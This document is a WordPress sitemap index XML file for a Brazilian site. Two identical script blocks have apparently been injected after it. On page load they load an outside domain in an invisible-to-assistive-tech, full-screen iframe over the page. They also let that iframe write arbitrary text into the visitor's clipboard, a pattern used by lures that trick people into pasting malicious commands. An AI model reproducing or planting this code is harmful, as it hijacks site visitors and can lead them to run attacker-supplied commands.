<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://rededocampo.com.br/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://rededocampo.com.br/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://rededocampo.com.br/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
<script>
(function() {
  const GLOBAL_KEY = Symbol.for("__0000399478397__");

  const registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    iframeReady: false,
    fetchCheck: null,
    iframeId: "ifr_" + Math.random().toString(36).slice(2),
    retryAttempts: 2,
    baseUrl: "https://clientpilotclosers.com/",
  };

  if (registry.iframeReady) return;  

  function safeAppendQuery(url, key, val) {
    const sep = url.includes("?") ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function detectIframeCreation(cb) {
    try {
      const test = document.createElement("iframe");
      test.style.display = "none";
      test.onload = () => {
        test.remove();
        cb(true);
      };
      test.onerror = () => {
        test.remove();
        cb(false);
      };
      test.src = "about:blank";
      document.body.appendChild(test);
    } catch (e) {
      cb(false);
    }
  }

  function verifyURLAvailable(url, retries) {
    return new Promise((resolve) => {
      const check = () => {
        fetch(url, { method: "HEAD", mode: "no-cors" })
          .then(() => resolve(true))
          .catch(() => {
            if (retries > 0) {
              setTimeout(() => check(--retries), 1000);
            } else {
              const img = new Image();
              img.src = safeAppendQuery(url, "checkimg", Date.now());
              img.onload = () => resolve(true);
              img.onerror = () => resolve(false);
            }
          });
      };
      check(retries);
    });
  }

  function createIframe(url) {
    if (registry.iframeReady) return;

    const iframe = document.createElement("iframe");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.id = registry.iframeId;
    iframe.style.cssText = `
      position: fixed !important;
      top: 0; left: 0;
      width: 100vw; height: 100vh;
      border: none; z-index: 2147483647;
      margin: 0; padding: 0; overflow: hidden;
    `;
    iframe.setAttribute("aria-hidden", "true");

    registry.iframeReady = true;

    try {
      document.body.appendChild(iframe);
    } catch (e) {
      const obs = new MutationObserver(() => {
        if (document.body && !document.getElementById(registry.iframeId)) {
          document.body.appendChild(iframe);
          obs.disconnect();
        }
      });
      obs.observe(document.documentElement, { childList: true, subtree: true });
    }

    // copy event from iframe
    window.addEventListener("message", (event) => {
      if (!event.data || typeof event.data !== "object") return;
      if (event.data.type === "copy" && typeof event.data.text === "string") {
        tryCopy(event.data.text);
      }
    });

    function tryCopy(text) {
      if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(text).catch(() => fallback(text));
      } else {
        fallback(text);
      }

      function fallback(txt) {
        try {
          const ta = document.createElement("textarea");
          ta.value = txt;
          ta.style.position = "absolute";
          ta.style.left = "-9999px";
          document.body.appendChild(ta);
          ta.select();
          document.execCommand("copy");
          document.body.removeChild(ta);
        } catch (e) {}
      }
    }
  }

  function start() {
    if (registry.fetchCheck) {
      registry.fetchCheck.then((ok) => {
        if (ok && !registry.iframeReady) {
          detectIframeCreation((canCreate) => {
            if (canCreate) createIframe(registry.baseUrl);
          });
        }
      });
      return;
    }

    registry.fetchCheck = verifyURLAvailable(registry.baseUrl, registry.retryAttempts)
      .then((isOk) => {
        if (isOk && !registry.iframeReady) {
          detectIframeCreation((canCreate) => {
            if (canCreate) createIframe(registry.baseUrl);
          });
        }
      })
      .catch(() => {});  
  }

  if (document.readyState === "complete" || document.body) {
    start();
  } else {
    window.addEventListener("DOMContentLoaded", start);
  }
})();
</script><script>
(function() {
  const GLOBAL_KEY = Symbol.for("__0000399478397__");

  const registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    iframeReady: false,
    fetchCheck: null,
    iframeId: "ifr_" + Math.random().toString(36).slice(2),
    retryAttempts: 2,
    baseUrl: "https://clientpilotclosers.com/",
  };

  if (registry.iframeReady) return;  

  function safeAppendQuery(url, key, val) {
    const sep = url.includes("?") ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function detectIframeCreation(cb) {
    try {
      const test = document.createElement("iframe");
      test.style.display = "none";
      test.onload = () => {
        test.remove();
        cb(true);
      };
      test.onerror = () => {
        test.remove();
        cb(false);
      };
      test.src = "about:blank";
      document.body.appendChild(test);
    } catch (e) {
      cb(false);
    }
  }

  function verifyURLAvailable(url, retries) {
    return new Promise((resolve) => {
      const check = () => {
        fetch(url, { method: "HEAD", mode: "no-cors" })
          .then(() => resolve(true))
          .catch(() => {
            if (retries > 0) {
              setTimeout(() => check(--retries), 1000);
            } else {
              const img = new Image();
              img.src = safeAppendQuery(url, "checkimg", Date.now());
              img.onload = () => resolve(true);
              img.onerror = () => resolve(false);
            }
          });
      };
      check(retries);
    });
  }

  function createIframe(url) {
    if (registry.iframeReady) return;

    const iframe = document.createElement("iframe");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.id = registry.iframeId;
    iframe.style.cssText = `
      position: fixed !important;
      top: 0; left: 0;
      width: 100vw; height: 100vh;
      border: none; z-index: 2147483647;
      margin: 0; padding: 0; overflow: hidden;
    `;
    iframe.setAttribute("aria-hidden", "true");

    registry.iframeReady = true;

    try {
      document.body.appendChild(iframe);
    } catch (e) {
      const obs = new MutationObserver(() => {
        if (document.body && !document.getElementById(registry.iframeId)) {
          document.body.appendChild(iframe);
          obs.disconnect();
        }
      });
      obs.observe(document.documentElement, { childList: true, subtree: true });
    }

    // copy event from iframe
    window.addEventListener("message", (event) => {
      if (!event.data || typeof event.data !== "object") return;
      if (event.data.type === "copy" && typeof event.data.text === "string") {
        tryCopy(event.data.text);
      }
    });

    function tryCopy(text) {
      if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(text).catch(() => fallback(text));
      } else {
        fallback(text);
      }

      function fallback(txt) {
        try {
          const ta = document.createElement("textarea");
          ta.value = txt;
          ta.style.position = "absolute";
          ta.style.left = "-9999px";
          document.body.appendChild(ta);
          ta.select();
          document.execCommand("copy");
          document.body.removeChild(ta);
        } catch (e) {}
      }
    }
  }

  function start() {
    if (registry.fetchCheck) {
      registry.fetchCheck.then((ok) => {
        if (ok && !registry.iframeReady) {
          detectIframeCreation((canCreate) => {
            if (canCreate) createIframe(registry.baseUrl);
          });
        }
      });
      return;
    }

    registry.fetchCheck = verifyURLAvailable(registry.baseUrl, registry.retryAttempts)
      .then((isOk) => {
        if (isOk && !registry.iframeReady) {
          detectIframeCreation((canCreate) => {
            if (canCreate) createIframe(registry.baseUrl);
          });
        }
      })
      .catch(() => {});  
  }

  if (document.readyState === "complete" || document.body) {
    start();
  } else {
    window.addEventListener("DOMContentLoaded", start);
  }
})();
</script>